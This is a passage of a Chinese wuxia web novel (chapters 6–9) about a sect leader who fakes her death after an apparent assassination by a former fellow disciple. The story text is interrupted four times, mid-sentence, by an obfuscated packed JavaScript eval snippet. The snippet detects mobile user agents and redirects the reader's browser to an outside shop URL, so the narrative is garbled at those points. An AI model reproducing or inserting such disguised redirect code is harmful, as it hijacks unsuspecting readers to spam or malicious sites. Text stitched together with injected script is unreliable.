纪明川在一旁不知所措:“师傅,您……” 肖凛抬手止住他的话:“纪峰主,言重了。在下只是一介游侠,当不起你的师傅。” “游侠?”李青筠抱臂冷笑,“此处何来游侠?我只看到一条陈家的走狗。” 她的声音不大,却足以传入在场所有人的耳中。 陈,为当朝国姓。敢当众辱骂朝廷,整个武林之中恐怕都寥寥无几。 在场有人连声劝阻:“李峰主,慎言!” “祸从口出啊,万一今日的话被传出去……” “那便听仔细了。”李青筠重重拂袖,“月下飞天镜立派百年,从来不受任何势力辖制,今日就算皇帝老儿亲自来,我也只有一个‘滚’字招待!” “至于这条陈家的狗,”她将目光移回肖凛脸上,“当年你自请离山,不就是觉得我们月下十九峰过于狭隘,容不下你的大道理吗?怎么如今又巴巴地回来了?” 即使被大庭广众之下骂得那么难堪,肖凛依然没有退开一步。 “……我今日来,只为一件事。” 在这一刻,肖凛似乎终于下定了决心,手掌紧紧握住佩刀刀柄,再也没有松开。 李青筠挑起眉,嗤笑一声:“哈,来为你的主子招安?还是又要游说什么‘为国为民’的陈词滥调?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334316|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肖凛垂下眼,摇了摇头,忽然低声说:“……对不起。” 李青筠不知道他又要闹哪出,蹙眉道:“你什么意思?” “我食言了,青筠。”肖凛抬眼看向她,温和的双眸之中,忽有凛冽刀光一闪而过。 他说:“对不起,你必须死。” 刀峰穿透了李青筠的左心口,随即被肖凛狠心抽回。他手中的刀“咣当”一声,随李青筠一同落地。 “师傅?!”纪明川冲上前去接住李青筠的身躯,万分惊愕地质问,“你在做什么?你为何要杀小师姑?!!” 肖凛连连后退几步,低头看了倒在地上的李青筠,闭了闭眼,转身一跃而起,只在树梢间踏过几步就再不见踪影。 “想跑?!” 先前与李青筠谈笑的朴七大喝一声,提棍追了上去。 直到肖凛与朴七飞身离去的那一刻,在场的众人才终于反应过来发生了什么变故。 “肖凛杀了李青筠?!” “假的吧?肖大侠才不是滥杀之人!” “对,不可能!说不定……说不定是花褪残红假扮成肖大侠,想要嫁祸给他!” 这话也不是没有道理。毕竟人人皆知李青筠与肖凛不对付,杀了李青筠再嫁祸给肖凛,一箭双雕,像是花褪残红的行事。 “可若是花褪残红,李青筠怎么可能没有察觉?” “或许是……李青筠一时疏忽?” “我方才还听见纪峰主将肖大侠称作‘师傅’,这十九峰与肖大侠之间难道曾有什么渊源?” 纪明川顾不上管那些吵吵嚷嚷,他只能无助地半抱着李青筠,双手捂住她血流不止的伤口,急声唤道:“小师姑?小师姑!你撑住!——在场可有徽州谯城人士?!” 他心急如焚地四下环顾,幸而人群中远远传来一声中气十足的“有”,很快,一个身负背篓的高壮女子应声挤上前,一边接过李青筠探她的脉搏,一边道:“我是谯城华氏第十五代传人华逢春,让我看看伤者——” 华逢春话没说完,顿了顿,改口道:“……哦,现在该叫死者了。” 纪明川早就方寸大乱,一把抓住华逢春的衣袖问道:“小师姑情况怎么样?还请华大夫不遗余力救治,我十九峰必定……” “不必。”华逢春打断他,“她已经死了。” “不可能!”纪明川瞳孔猛地一缩,连连摇头,满脸是乞求的神色,“不可能!!华大夫,您是天下闻名的神医,一定能救下小师姑,对不对?” 华逢春将李青筠的尸身放回地上,伸手在她面上拂过,又从袖中取出一块素白的方巾,盖在了她的脸上。 这是谯城华氏的惯例,为人面覆白巾,表明已无力回天。 “我与李青筠也算旧相识,若是她还有救,不必你说我也会竭尽全力。”华逢春站起身,最后瞥了一眼躺在地上的人,“可惜,她已死得不能再死了。肖凛的刀很准,捅穿了她的心脉,干脆利落,一刀毙命。就算我华家先祖在世,如今也无能为力了。” “节哀吧,纪峰主。” 7. 第 7 章 李青筠死了。 出了这么大的乱子,月下十九峰自然再没心情继续什么比武盟会。纪明川敲响了主峰最高处的那口大钟,浑厚的钟声响彻云霄,绵绵不绝。 主峰上的这口铜钟只有遇到大事才会启用,周围的十八峰峰主听闻钟声需即刻赶来,连日理万机的武林盟主云青鹤都不能例外。 纪明川敲过三声钟后,就回到了李青筠的尸身旁边。他毕竟年纪尚轻,亲眼目睹自己的师傅杀了自己的师姑,一时间就像傻了一样守着这具尸身发愣。 “明川?” 不知过了多久,忽然有人唤他一声,接着拨开人群上前。 纪明川动了动僵硬的脖子,看向来人,嗓音嘶哑:“九师姑……你来了。” 白青螺背着一张足有一人长度的弯月大弓,另一只手里拖了条死掉的巨狼,小心翼翼地避让人群:“各位,让一让,别沾了血污——我在山下围猎,听到钟声就立马赶回来了。盟会不是有青筠和你主持吗?发生什么事了?” 她一眼就瞥见地上躺着个人,胸口血流不止,想来是活不成了。 “有人死了?”白青螺移开视线,紧紧蹙眉,“又是花褪残红?这次不是有青筠亲自看着吗?他们怎么还敢出手?” 一见长辈,纪明川强撑出来的镇定瞬间土崩瓦解。他的眼眶中滚出一串泪,艰涩地开口:“不是花褪残红,是我师傅……他……” “哎!”白青螺急忙提高声音打断他,四下环顾一圈,又压低声音说,“你提他作甚?让你小师姑听到了,又要大发一通脾气。幸好她现下不在这里。” 她说着,重新仔细环顾四周:“奇怪,那家伙向来喜欢耀眼夺目,今日怎么没见?” 纪明川掀开李青筠脸上那方白巾的一角,深吸一口气平复情绪:“小师姑她……在此处。” 白青螺这才正眼打量躺在地上的那个人,李青筠的面容依然经过矫饰,但她们二人朝夕相处,白青螺不用看脸也能认出来。 的确是李青筠。她觉得有些好笑:“原来在这里。小师妹,你这又是什么招数?想装死骗过花褪残红?” 抱臂站在一旁的华逢春心直口快:“什么装死!她是真死了。” 白青螺愣了一下,抬眼看向华逢春。此人衣着干练,背负药篓,腰系针包,一副医师打扮。 “你是……谯城华氏?” 她又低头看向地上一动不动的人,心中忽然“咯噔”一下,渐渐弥漫起不祥的预感。 谯城华氏本是神医世家,有活死人肉白骨的医术。但也正是因此,一旦被华氏医师用白巾覆面,就证明此人是切切实实的无力回天。 一面是生,一面是死;一念希望,一念绝望。谯城华氏在江湖上也因此有了个“白无常”的诨名。 白无常现身,还能有什么好事? “……青筠?” 白青螺缓缓地将弯月大弓放在地上,又唤了一声:“青筠!” 她期待李青筠下一瞬能活蹦乱跳地起身,大笑着说“九师姐你又上当了!”,就像小时候无数次耍她一样。 “青筠,别玩了,快起来吧。” 但白青螺俯下身去推了推李青筠的肩,只碰到冰冷的躯体,沾了满手的血。 “她死透了。”华逢春毫不委婉地说,“白峰主,你也节哀。” 她语气没什么波澜,分明在劝慰,却像走流程一般敷衍。 “节哀?好好的一个人死了,我怎么节哀?!”白青螺猛地抬头,双目一片血红,“谁干的?!谁杀了她!” 纪明川方要张口,就被白青螺打断:“是花褪残红?——不,不可能,她身上只有一处致命伤,定是亲近的人近身偷袭!明川,你去将所有与青筠接触过的人都扣下,我一个一个查!” “……九师姑,不必查了。” 纪明川攥住她的手腕,也不知是谁的缘故,两人的手都颤得厉害。 “其实我们都亲眼看到了,杀小师姑的人,是肖凛。” 作为肖凛的徒弟,他再清楚不过。那不是花褪残红的伪装,而是真真正正的、肖凛本人。 “肖凛?开什么玩笑!” 当年肖凛离山之事白青螺是知道的。他所求之道与月下飞天镜独善其身的作风相悖,人各有志,分道扬镳也是常事。白青螺当时年近而立,与其余峰主一样,自然能想明白这一点。 然而小师妹李青筠那时不过十六,正是年少气盛,因而反应也最激烈。她将肖凛离山视为背叛,声称与他恩断义绝,死生不复见。 所以若是说李青筠杀了肖凛,白青螺还能勉强相信。 ——至于肖凛杀李青筠?他性子温厚,对青筠愧疚还来不及,怎么可能痛下杀手! 白青螺下意识想否定这个答案,但她看向纪明川,又见对方的神情不似作伪。 可她这个师侄打小就对肖凛万分崇拜,总不能无中生有诬陷自己的师傅…… 更何况,在场的还有这么多双眼睛都看到了。 难道……真的是肖凛杀了李青筠? “肖凛。肖凛。”她咬着牙,将这个名字翻来覆去念了两遍,霍然起身,“他人呢?” “跑了!” 头顶上有人喊了一声,随即从树梢高高跃下,落地打了一滚缓冲去势。 这人站起身,衣衫褴褛,头发蓬乱,正是丐帮朴七。 与李青筠交好之人天南海北三教九流都有,朴七是其中之一。白青螺与她也有些交情,连忙追问:“人呢?追到了吗?” 朴七“呸”地吐掉齿间的狗尾巴草,骂道:“狗日的肖凛,老娘好不容易追上去,谁知道他还有帮手!” 白青螺一把抓起弯月大弓:“他朝哪里去了?我去追!” 朴七喘着粗气,没好气地挥手扇了扇风:“去了也是白去,来接他的是金翎卫。你想在那群家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334317|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手底下要人?做梦!” 白青螺动作一顿:“金翎卫?” 朴七看了看周围竖起耳朵听八卦的人群,指向远处的主峰正堂:“借一步说话。” “好。”白青螺立即应下来,转头对纪明川道,“明川,你继续守在青筠身旁,待其余峰主到后说明情况。——好了,收收眼泪,现在不是伤心的时候,我们得查清背后真相,好为青筠报仇。” 纪明川闭了闭眼,努力平复情绪,点头:“是,师姑,我知道了。” 白青螺带着朴七拨开人群,进入空无一人的正堂。她回身将门阖上:“到底是怎么回事?肖凛怎么会与金翎卫扯上关系?” “金翎卫只听京都皇族调遣,你该问,肖凛与皇族是什么关系。”朴七说,“我可是清清楚楚听到了,金翎卫叫他‘世子殿下’。” “……‘世子’?肖凛分明是大师姐救回来的孤儿,怎么会是世子?” 朴七嗤笑:“白九啊白九,我看你是成天在山里拉弓射箭,真把自己当不问世事的野人了。” 白青螺一时无言以对,只能低头:“论消息灵通,月下飞天镜当然不如你们丐帮。还请问朴帮主,肖凛的身世到底是怎么一回事?又为何会殃及青筠?” “肖凛这厮为何杀李青筠,我的确不知。但他的身世我有所耳闻。”朴七说,“早先楚王一家被掳去突厥,楚王和楚王妃两口子没福气,死在了突厥,只剩下年幼的世子装疯卖傻才活了下来。” “六年前冬夜,肖凛离开月下十九峰后便单刀匹马闯入突厥王城,救回楚王世子,将他护送过了大荒江,随后拔刀斩断冻结的江面阻拦追兵。” “寒鉴分江。”白青螺说,“这事我自然知道。” “你不知道的是,楚王膝下其实是一对双生子。被突厥人劫掳的途中,有一子病弱昏迷,楚王妃谎称他已病死,于是那个幼童的‘尸身’被扔在路边,之后又被你们大师姐偶然遇见,捡了回去。”朴七摊了摊手,“我猜肖凛一直都知道自己的身世,所以才拼死拼活去突厥救回楚王世子。就是这一遭,嘿,兄弟俩一见面王八看绿豆——对上眼了!” 白青螺愣愣道:“原来如此吗……?” “你也没想到吧,你们这山旮旯里居然还藏了只金凤凰。”朴七说,“最可笑的是李青筠,花褪残红追杀她那么多年都没得手,到头来却被昔日好友一刀捅了个对穿。” “我知道了,多谢朴帮主。”白青螺沉思良久,随后正色朝朴七抱拳一礼,“这些事我会告诉青鹤师兄,由他定夺。” “云青鹤?”朴七摇头,“他向来不愿武林与朝廷起冲突,是个和稀泥的好手。你就不怕这事不了了之?” “在别的事上,青鹤师兄的确奉行中庸之道。但此事不同。”白青螺掷地有声道,“事涉同门生死。青筠的仇人,就是整个十九峰的仇人。就算肖凛当真是什么楚王世子,我们也定会与他不死不休!” 8.第 8 章 在场之人众多,“肖凛杀了李青筠”的消息很快就飞出幽州,到处都传得沸沸扬扬。 一直在返回秦州的路上,程奚还在难以置信地念叨:“李青筠……真的死了?” 程灵将刀靠放在桌边,拂衣落座,说道:“一刀穿心,神仙难活。” “简直像做梦一样。”程奚叹气,“那日一刻钟之前,她分明还在与我们说话。一刻钟之后怎么就死了?!——她可是李青筠啊!怎么能这么轻易地被人一刀杀了?” “否则该如何死?” 程灵反问他,他却一时也答不上来,含含糊糊道:“大概是……被花褪残红刺杀而死?受众多高手围攻而死?与人比武不敌自刎而死?为报仇同归于尽而死?” 总之,李青筠这样的人物,怎么也该死得轰轰烈烈、惨绝人寰,才像她的性格吧? 与二人临桌而坐的一个男子插了一嘴,赞叹道:“嚯,这么多死法。阁下真是……想象力丰富。” 程奚看向他,没想到自己的话会被人听去,不好意思地挠了挠头:“随口一说罢了。” 那男子面色微醺,仰头饮了一口酒,似是不慎被酒液呛到,猛地咳了几声,边咳边掩唇笑,“李青筠这种人啊,自以为呼朋引伴好不威风,却不知背地里受多少人厌恶。要我看,她最好的死法,反倒正是被仇人一刀捅死……” “死就是死,无分贵贱。” 程灵听不下去二人胡侃,开口打断了男子的话。 男子被她噎了一下,不甘心地反驳:“可古语分明有言,人之死或轻于鸿毛,或重于泰山。” 程灵说:“但那些于她而言,都不重要了。” “……” 男子一时默然,良久才长叹一声:“是啊,都不重要了!” 他仰头将酒饮尽,对程灵一举杯:“多谢,方才是我狭隘了。” 程灵向他点点头,目送着男子起身,像是醉酒般步履蹒跚地离去。再一转头,就看见程奚正用一种惊疑不定的眼神打量着她。 “……何事?”程灵问。 “奇也怪哉,你居然会主动与人辩驳!”程奚警惕地说,“传闻武林之中曾有魔教秘法‘夺舍’,程灵,你是不是被哪个孤魂野鬼夺了舍?” 程灵无需多言,只随手将刀拿起,重重拍在桌上。 “啪”地一声,桌上杯盏跳起,程奚的心也跟着一咯噔。 他猛地想起什么,连忙讪笑着岔开话题:“哈哈,玩笑玩笑。魔教那都是几十年前的旧事了,我只是随口说说,绝没有别的意思。——对了,小玉还在楼上睡着,我先给她带些饭菜过去,你慢慢吃。” 程奚说着,连忙胡乱从桌上端起两个盘子,撒腿就往楼上跑,边跑边默默痛骂自己这张没遮没拦的破嘴。 差点忘了,程灵最讨厌听人提起魔教之事! 的确如他所言,武林中曾有魔教名为“截天”,立教数十年来兴风作浪,甚至暗中铸造魔剑,筹划血洗武林正道。 截天教铸造魔剑的方式极为阴邪,是将人的脊梁骨整根抽出,再千锤百炼制成利剑,据说能让使用者功力倍增。 但此法过于血腥,以人骨为剑违背天理人伦,武林盟会将其列为邪法,明令禁止。截天教覆灭之后,此法便彻底失传。 而程灵与程奚的生母,正是截天教中人。 程灵轻叹一声,按捺下脑中翻涌的思绪,重新将目光投向方才那男子落座的地方。 忽然,她目光一凝。 桌下有一滴暗红的血迹。 —— 男子捂着胸口,跌跌撞撞地拐入一条小巷,刚一站定便再也忍不住,弯腰呕出一口血来。 “重伤未愈就敢饮酒,你这是在找死。”小巷深处,一人缓步走上前来,语气不善。 他扶着墙,“呸呸呸”几下将口中的血沫吐净,抬头看向对方,笑得死皮赖脸:“怕什么,这不是有‘枯骨逢春’华神医在嘛。” “我从来不救找死的人。”华逢春在他面前站定,抱臂道,“尤其是你这种无赖。” “我这怎么能算是‘找死’?分明是为人所害。”男子振振有词,“你这医师怎么当的,竟然辱骂患者。我要告到华氏祖坟前,咳咳,等着吧,今晚你家老祖就来托梦找你。” 华逢春冷笑一声:“人死如灯灭,何来托梦一说?——李青筠,少扯别的,莫忘了你当初求我相助时是怎么说的。” “……” 李青筠当即偃旗息鼓,悻悻地说:“好一个挟恩图报的白无常。不就是给你当牛做马一个月么,我记着呢。” “还有我!” 头顶忽然传来一声高喊,紧接着一道灰扑扑的身影一跃而下。 朴七用力一把揽住李青筠的肩,嬉笑道:“你也欠我一个人情。” 李青筠被她撞得东倒西歪,差点又喷出一口血来。 “咳咳,你!”李青筠捂着胸口,气若游丝地问道,“你先说,帮我办的事如何了?” “老娘出马,一个顶俩。”朴七叉腰,“肖凛那小子的事我全和你师姐讲了,一个字都没落。” “她怎么说?” “白青螺那性子你还不清楚,无非就是找你们的好师兄做主。” 李青筠叹了一口气:“二师兄他最不愿与朝廷交涉,怕是只会将此事糊弄过去。” 朴七笑她:“那你岂不是白死了?” 华逢春忽然开口:“不够。” 两人齐齐看向她,朴七“呦”了一声,故作惊讶道:“这儿什么时候站了个人!” 李青筠打了朴七一掌,让她别添乱,追问:“逢春,你说什么不够?” 华逢春与朴七向来不对付,只冷冷一瞥,不作理会,继续说:“只死你一个,不够。” “哎呀呀,白无常就是白无常,张口闭口就要索人的命。”朴七在一旁阴阳怪气地说风凉话,“那请问华大夫,得死多少人才够?” “肖凛杀你,是以武林人的身份。”华逢春说,“如今少有人知他身世,你们二人之间的恩怨还不足以牵扯到王朝。” “那我该……” 李青筠声音一顿,忽然不再说下去了。 然而华逢春并不会顾及她的感受,直言不讳地替她补上了后半句。 “——以复仇的名义,杀了楚王世子。” 果然。 李青筠叹了口气,有些脱力地倚在墙上,低垂着头。发丝凌乱地垂落下来,掩盖了她的神色。 “……那可真是,不死不休了。” 朴七抓抓脑袋:“寻仇不应该杀肖凛吗?为啥杀那个楚王世子?” “……杀了肖凛,事情只会断在我与他之间的恩怨。”李青筠低声解释,“而杀了楚王世子,朝廷不会善罢甘休。有金翎卫插手,当年的事定能重提。” “那也不行。武林规矩,祸不及家人。人家楚王世子能从突厥活下来,那是阎王都不收他的命,你凭什么杀他。”朴七睨了李青筠一眼,面色不虞,“喂,说话。你不会真打算这么干吧?你要是敢坏了规矩,老娘可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337721|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会留情面!” 李青筠知道,她们丐帮向来散漫,从不立什么帮派规矩,实际上却将侠义之道刻在骨子里。朴七帮她假死脱身是看在朋友义气的份儿上,若她当真要为一己之私害无辜性命,恐怕朴七的打狗棍会第一个往她头顶招呼。 “自然不会。”李青筠说。 华逢春颇为遗憾地摇了一下头,说道:“这是最好的办法。” “你放屁!杀人算什么好办法?!” 朴七本就看她不顺眼,听到这话脾气更是一下就炸了。她一把攥住华逢春的衣襟,怒极大吼:“华逢春,亏你还是个大夫,你老祖宗没教过你医者要有仁心?!叫你两声‘白无常’,还真以为自己能掌管别人死活了?神医?我看你就是个败类!谯城华家的耻辱!!” 华逢春个子比她高些,被一把拽得微微弯下腰来,两只颜色极浅的瞳孔一动不动地与朴七对视着。 她的神色中没有羞愧、愤怒,或是耻辱。朴七长年混迹市井,骂起人来要多难听有多难听,李青筠都忍不住捂上耳朵。然而华逢春的一双眼睛就这样坦然地,看着朴七因暴怒而有些狰狞的面容,将每一个字都听入耳中。 “行了行了,别吵了。” 李青筠自己都快半死不活了,还得去拉架。她拍拍朴七的手,示意对方松开,又一碗水端平地替华逢春整了整衣襟。 “认识这么些年,华神医什么性子你还不清楚?”李青筠好言相劝,“她啊,就是一张刀子嘴,其实救起人命来比谁都卖力。” 朴七隔着李青筠的肩,最后狠狠瞪了华逢春一眼。 “华逢春,这种十恶不赦的事,你最好想都不要想!” 李青筠挤开她,笑着转向华逢春:“哎呀华神医,看你把朴帮主气成什么样子,都会说成语了。——好了好了,此事先按下不提!你们二位不如说说,打算怎么让我当牛做马?” 朴七余怒未消,鼻子出气“哼”了一声不理会她,恶狠狠碾着脚底的石子。 倒是华逢春丝毫不客气地说:“我要你去太守府上取一个东西。” 堂堂大侠沦落成小贼,李青筠却半点不觉羞愧,一口应下:“好说好说。就算你要我把太守老儿取来,也是小事一桩。” “不必。”华逢春冷静地拒绝,“我只要他府上一株千年山参。” “择日不如撞日,我现在就去。”李青筠说着,抬步就要往外走,“太守府的千年山参是吧?我这就给你取来。” 华逢春不语,冷眼旁观着李青筠走了几步。随后,她仿佛早有预料地一伸手。 早就支撑不住的李青筠恰好脱力,昏倒在她怀中。 朴七一愣,不由得上前一步:“……她怎么了?” 话问出口,她才想起对面的是谁。料想华逢春也不会理她,朴七只当自讨没趣,悻悻地撇了撇嘴。 谁知华逢春居然答了一句。 “她的伤口又裂开了。” 说罢,她一展臂将李青筠打横抱起。此时朴七才发现,李青筠左心口的那片黑衣已经被血洇透了。 “我先带她回客栈。”华逢春说,“那株千年山参,你去取。” 朴七不爽,立刻破口大骂:“给你脸了?!老娘凭什么听你使唤!滚!” 华逢春面无表情道:“李青筠失血太多,需要千年山参吊命。你若不想去,那你我便看着她死吧。” “……天杀的,我管她死不死!” 朴七骂了一声,转头纵身一跃到墙头上,几个起伏后不见了身影。 9.第 9 章 李青筠再睁眼时,已是三日之后。 头顶是客栈摇摇欲坠的房梁,仔细一看,上面盖满了大大小小的蛛网。她颇为嫌弃地“啧”了一声,偏过头去问:“谁找的客栈?好破。” 烂得堪比蛛网的床帐被一只手掀开,华逢春另一手端着碗药,语气没什么起伏:“我没钱,现下这间房费还与老板赊着。你再不醒,我们二人就要被扫地出门了。” “堂堂神医,怎么穷酸成这样!”李青筠扶额,伸手在衣襟内摸索一阵,从自己脖颈上那只长命锁摘下两枚银铃铛,“给给给,最后两个了。大师姐要是知道我拿长命锁当钱花,非得活过来把我抽个半死。” 华逢春接过铃铛,将药碗放在床头。 “你且喝药,我去还账。” 屋内暂时只剩李青筠一人。她半撑起身,靠在床头,伸手端起那碗药。 乌漆麻黑的,还散发着一股苦不苦辣不辣的难闻气味。李青筠不爱喝药,但能容忍她撒泼耍赖的人已经死了,再如何作态也是徒劳。 想来华神医也不会有耐心哄她喝药。 她仰头,将那碗药一饮而尽。 恰好此时,华逢春推门回来,李青筠幽幽问她:“什么药苦成这样!你不会给我下毒了吧?” “很苦?”华逢春瞥了眼她皱成一团的脸,又端起碗看了看碗底的药渣,满意道,“千年山参,药效果然不错。” “啊?千年山参?”李青筠一愣,“我还没去取,难不成它自己长脚跑过来了?” 华逢春摇摇头:“这药材是朴帮主取来的。” “哦。朴七人呢?怎么不见她?” “她被抓了。”华逢春说。 “什么?被抓了?”李青筠“腾”地一下从床上弹起来,“为什么?就因为偷了根破山参?太守老儿这么小气!” “不止。”华逢春说,“她还杀了人。” “什么?!!” —— “先说好,太守府守卫森严,我们不一定能把东西送到。” 小少年泪眼汪汪地点了点头:“我知道!三位大侠愿意帮忙,我已经感激不尽。若大侠能见到太守,劳烦你们告诉他,我娘是被冤枉的!” 程奚半蹲着身,摸了摸她的发顶。他叹了一口气,下意识地回头看向程灵。 程灵抱着刀,对他点了点头:“走。” “快走吧,师兄!”万俟玉将那封信小心翼翼藏进怀中,左顾右盼一阵,压低声音催促道,“一会儿我们偷偷溜进太守府,把信直接递到他面前。” “放心,我们一定尽力。” 程奚最后安慰了小少年一句,站起身来,又拍了拍她的肩膀。程灵随即转身出门而去,他与万俟玉匆匆跟上,待身后那座小屋渐渐消失在视野中,才忍不住感叹:“好苦命的孩子……” 三人在幽州境内赶路,途径松原县郊外时遇到一座草屋,万俟玉嘟囔着口渴,非要进去讨杯水喝。谁知草屋内只住着一位小小少年,年龄不过十岁,却是面黄肌瘦,形容憔悴。 即便如此,她还是客客气气招待三人坐下喝水,还从竹筐里找出一只烧饼递给万俟玉吃。 烧饼又硬又干巴,差点把万俟玉本就摇摇欲坠的门牙啃掉。程奚看这小少年自己都吃不饱饭,于是打算给她留下些铜板。然而小少年摇头拒绝,将目光移向程灵腰侧的刀,怯生生地问她们三人是不是武林里行侠仗义的大侠。 万俟玉一拍胸脯应下“大侠”的名号,随后,小少年才与三人吐露自己的身世。 原来这小少年名为缇萦,幼年丧父,如今娘亲又被本县县令诬陷入狱。她想要申冤,只能去找太守上控,可她要状告的是本县长官,按规矩需要滚一遭钉板。 缇萦不过十岁,滚过钉板安能有命在?她称自己身死事小,耽误了为母申冤才是大事。而她的娘亲再过三日就要受劓刑,现下大难临头,只能求助像程灵她们这样路过的侠客,希望有人能将她的陈情信送到城里的太守府上。 草屋与太守府相去数十里,三人要趁夜潜入府中将信送出,必须加快脚程。程奚虽然不擅武功,轻功跑路倒是在行,背着万俟玉还能勉强跟上程灵的脚步。 “程灵,你说太守万一坐视不管怎么办?”他气喘吁吁地问。 “拿刀逼着他,总不能不理会。”程灵说,“滚钉板一事本就荒谬,他既然如此刁难百姓,我们也不必对他客气。” “就是就是!”万俟玉怒气冲冲地附和,“这群当官的都不是什么好东西!咱们是大侠,就要保护好人,打败坏蛋!” “你看谁家大侠还要人背着赶路?”程奚又好气又好笑,托着她的腿作势要松,“小玉大侠,有本事下来展示一下轻功?” 万俟玉一个没趴稳差点摔下去,连忙双臂勒紧她师兄的脖颈:“别别别,师兄,我还没学会轻功呢!” 程灵闻言看了她一眼:“上回你分明对师傅说自己学会了。” “……”万俟玉一听到“师傅”两个字,吓了一个激灵,磕磕巴巴道,“我、我那不是……想让师傅高兴嘛……” 程奚笑她:“你看你,还不如像我一样诚实点说自己什么都不会。小玉,趁这几日出门在外你赶快把轻功练好,别回去在师傅面前漏了馅!” “好吧。”万俟玉哭丧着脸,“那我们路上慢点,迟点回去……” “到了,噤声。” 程灵脚步忽然一顿,回头对二人轻轻“嘘”了一声。程奚一抬头,发现她们正停在围墙几尺外的一棵古槐树下。 “躲在树干后,不要探身出去。”程灵用气声与二人耳语,“角楼顶上有人,武功不低。” 能得程灵一句“武功不低”之称的,想必是个高手。程奚问道:“太守府的侍卫这么厉害吗?那咱们怎么进去?” 程灵对他竖起一指,闭上双眼屏息凝神听了一阵,原本紧绷的全身忽然松了些,呼出一口气道:“走了。” “走了?是侍卫换班了?” “那人……不像侍卫。”程灵沉吟片刻,“我轻功不济,哥,你一人进去送信。” “啊?我?”程奚错愕地指着自己,“我只是个手无缚鸡之力的废柴,万一被抓了怎么办!” “我会在外接应。”程灵冷静解释道,“那个人应该还在府内,太多人去只会打草惊蛇。今晚你先将信送到太守案前,明日我们再看他举动如何。” “行、行吧。”程奚挠了挠头,“事情搞砸了你们可别怪我。” 万俟玉原本还想着体会一下夜里潜行的刺激,没想到泡了汤,只能不情不愿地把信交给她师兄:“师兄你快去快回,我和师姐在外面等你。” 想进的人不能进,不想进的人却要进。程奚欲哭无泪,只能硬着头皮运起轻功,三两下攀上树顶,顺着一根伸过墙的树枝小心翼翼地潜入府内。 他没有事先打探过太守府的布局,只能没头苍蝇似的乱撞。府内倒是不大,两进的堂屋,后院还有一座小花园。程奚猜想太守应当是住在最大的宅子里,于是便踏着屋脊飞奔而去,在屋顶上侧耳听了听,见里面没什么大动静,才翻身落地,轻轻推窗而入。 程奚运气难得好了一次,果然不错,此处看样子正是太守的书房。他轻手轻脚走到桌前,正要将缇萦的信放下,却突然被一只不知何处来的手猛地攥住了手腕! “!” 他吓得一激灵想要大叫,那人眼疾手快在他哑穴上一点,程奚顿时只能滑稽地大张着嘴发不出一点声来。 完蛋了!!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344570|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !! 程奚只能在心中鬼哭狼嚎,身体丝毫不敢动一下。抓着他的那只手如同铁箍一样力大无穷,程奚生怕下一刻这只手就会挪到自己脖颈上去,大概掐死他也就那么一两息的事。 窗缝间漏进一缕月光来,照亮那人隐藏在黑暗中的半张脸。程奚僵着脖子瞥了一眼,发现是个古铜色皮肤的女人。 她身量不算高,但臂膀极为有力,眉宇间透着一种野兽般的草莽之气。见程奚在悄悄打量她,她一挑眉,轻笑道:“哪来的小贼。” 她的嗓音低沉,像被砂砾磋磨过一般粗哑。可惜程奚脸盲,不然定能一眼认出她的身份。 丐帮帮主,朴七。 朴七一把从他手中抽走信封,拆开后对着月光认真地看了一番,然后杵了快要化成石雕的程奚一肘,顺手解了他哑穴,问:“哎,小贼,上面写的啥?” “……”原来是个文盲。 程奚努力将声音压到最低:“这是一个小姑娘托我上控的陈情书。她娘亲被县令诬陷,只能告到太守这里来。” “还有这事?!”朴七大怒,声音陡然提高,几乎是吼出来的,“哪个县令?老娘去弄死他!” “嘘!嘘!小声点!”程奚被她吼得直冒冷汗,“杀人倒不至于,主要是先救出她娘亲。侍卫大姐,您行行好,把信交给太守大人,然后放我走吧。” “侍卫?”朴七被他逗得一乐,给他展示自己肌肉虬结的古铜色手臂,“谁家请得起我这样的侍卫?” “……” 程奚忽然想起先前程灵提过府里有个高手,难不成就是面前这个人?这么巧就让他撞上了? 既然这人不是侍卫,又是来干什么的? 